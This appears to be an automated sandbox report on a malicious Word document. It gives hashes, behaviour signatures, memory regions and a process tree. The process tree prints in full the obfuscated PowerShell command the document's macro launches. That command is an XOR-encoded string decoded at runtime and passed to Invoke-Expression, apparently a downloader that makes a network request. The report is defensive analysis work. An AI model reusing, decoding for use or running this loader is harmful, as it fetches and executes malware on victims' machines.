Analysis

  • max time kernel
    119s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    10-05-2024 23:02

General

  • Target

    317a88db81ffa217aa720996a6386680_JaffaCakes118.doc

  • Size

    249KB

  • MD5

    317a88db81ffa217aa720996a6386680

  • SHA1

    3ea2d570bc097c31092ffc80d1e02c30482f7415

  • SHA256

    2b9241a819ed6332a17e8e549129d15db870a6ebf4131870b402c14fda2cf724

  • SHA512

    c2ed26002efc2cc29bfbaede589d0126ab76d60376805c39831535dda5b8c5d1be89ae5451653c5fabc9b9ef75439373ae19d69b0d69d010047a12af55253dc2

  • SSDEEP

    3072:xH9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq5lyXJm9YBmjD6yyYtVTk:xFVeEsjdXRC3jexGG6SYWofXPTk

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\317a88db81ffa217aa720996a6386680_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2888
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$(SeT 'Ofs' '' ) "+[string]( '11l118>102B78l18%65>74j88l2&64%77j69&74O76B91j15B97l74&91G1l120%74B77@108@67j70@74B65W91>20G11l102l78@117j18>8&71W91G91G95@21B0&0G88j88&88l1O67>74>68j70O2W77&74>85j2%93&74W76B74W95j91j86>2&65&78>2B93>74G76W74@95&91@74%1O76l64l66j0%76@26%102j26l98>75%90B70O0&111j71l91l91@95W21W0@0B88B88&88B1>65>78l89O78G93&95W93>64@75l90&76%76>70j64B65&74%92W1G76B64>66%0W110@78%126>86l118B127l76>65O0W111W71G91>91@95j21&0j0W88O88W88O1O77W78G72G70W74&65W65j78G65B78O93W74j88%1j95j67l0W66&64l75j90G67j74%92W0%66j108l25O30@28B103&91&96%120>102j0l111O71&91&91%95l21@0l0O88l88&88%1B91>71G74B95O78B95l74G93B77B74l67B67%74>1O76>64j66&0@66>90%67O91W70W66G74W75B70j78@0G121B105j126@27j120B90&95l78%101l0>111@71O91>91%95%21&0j0B90@92O90O72%74%64j91&74>76O71&65l64G1B76O64%66W0B31B123O117G96j97@104O89l0W8%1>124&95&67l70&91B7@8%111j8j6G20&11&101&97%108O15&18@15>8O24l29@25l8G20B11j75j66%90l18>11G74l65>89>21%91&74>66&95B4&8l115O8%4l11>101l97&108>4O8W1B74j87>74l8B20j73B64@93j74W78@76&71>7@11j71W92O107G15W70B65W15%11W102>78>117%6%84&91l93G86B84G11%118B102l78&1G107@64O88j65j67>64l78@75l105%70@67j74B7%11l71O92@107>3B15l11%75&66>90W6%20G124@91j78%93O91j2G127l93G64l76G74W92%92O15@11&75O66W90O20G77O93%74B78>68W20&82&76B78%91G76l71G84j82G82' -spliT 'O'-spLIt'@' -sPliT'&'-SPlIt 'l' -sPliT'>'-SPlIt'b' -splIT'G'-sPlIt 'W'-SPLiT '%' -SpliT'J'|forEAcH-ObjECt { [chAr]($_-BXor "0x2f")} ) +" $( sET-ItEm 'vAriaBlE:OfS' ' ' ) "| &( $PShome[21]+$pshOMe[30]+'x')
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2508
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1476

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      bfe9922a3e8486fd0317ed7fc262c3f0

      SHA1

      6a3ed16623f734d91986bc73edba571127ea5f2b

      SHA256

      fb437a56d3903fee98af11ae8c0aa905357d9a1f770b4280014d65fceeb33b0d

      SHA512

      4d0b9382fd9ad6cfc6ac3626dc1ec423a2c7f78f3f570a1a08f24c179bc264d0c2c69600e8bca3c4f07d4a03711ccc34c47d114030d5c5c77073b7bdb04bbd40

    • memory/2888-11-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-23-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-10-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-7-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-8-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-22-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-21-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-18-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-15-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-0-0x000000002FF51000-0x000000002FF52000-memory.dmp

      Filesize

      4KB

    • memory/2888-25-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-2-0x0000000070F0D000-0x0000000070F18000-memory.dmp

      Filesize

      44KB

    • memory/2888-24-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-6-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-5-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-9-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-39-0x0000000070F0D000-0x0000000070F18000-memory.dmp

      Filesize

      44KB

    • memory/2888-40-0x0000000000420000-0x0000000000520000-memory.dmp

      Filesize

      1024KB

    • memory/2888-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2888-58-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2888-59-0x0000000070F0D000-0x0000000070F18000-memory.dmp

      Filesize

      44KB